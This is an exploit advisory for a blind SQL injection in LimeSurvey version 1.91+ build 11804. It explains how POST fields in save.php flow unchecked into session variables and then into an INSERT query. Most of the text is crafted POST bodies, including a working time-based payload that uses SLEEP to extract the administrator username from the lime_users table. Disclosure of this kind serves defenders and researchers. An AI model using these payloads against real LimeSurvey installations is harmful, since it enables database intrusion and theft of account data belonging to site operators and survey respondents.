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Limesurvey Blind SQL Injection

Limesurvey Blind SQL Injection
Posted Feb 23, 2012
Authored by TorTukiTu

Limesurvey version 1.91+ build 11804 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 6317dc72d42ebeff7d90905dbe2a250a

Limesurvey Blind SQL Injection

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# Exploit Title: LimeSurvey Blind SQL injection
# Date: 20/02/2012
# Author: TorTukiTu - OpenSphere
# Version: 1.91+ build 11804
# Tested on: php
{cke_protected}{C}{cke_protected}{C}
-------------------------------------------------------------------------
# TorTukiTu - Killing Tortoise
# ,-"""-.
# oo._/ \___/ \
# (____)_/___\__\_)
# /_// \\_\
#
# Cookie hacking + Blind SQL Injection
# The vulnerability occurs when a user answers a survey (index.php).
# The session variables can be freely hacked using the following lines in save.php l.82 :
# if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];}
# if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";}
# $pf is user input in the POST variable
# once splitted, SQL request is directly build from those sessions variable by function createinsertquery(),
# if a special Post variable 'srid' is set both in the variable
# 'fieldnames' and as simple POST variable (query l. 715 save.php).
# The user can realize blind SQL injections with specially crafted POST variables.
# Normal POST variables example:
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
# Craft POST variables like this :
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
srid=[SOME INTEGER]
#Example : Blind SQL user name guessing :
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
srid=42
-------------------------------------------------------------------------

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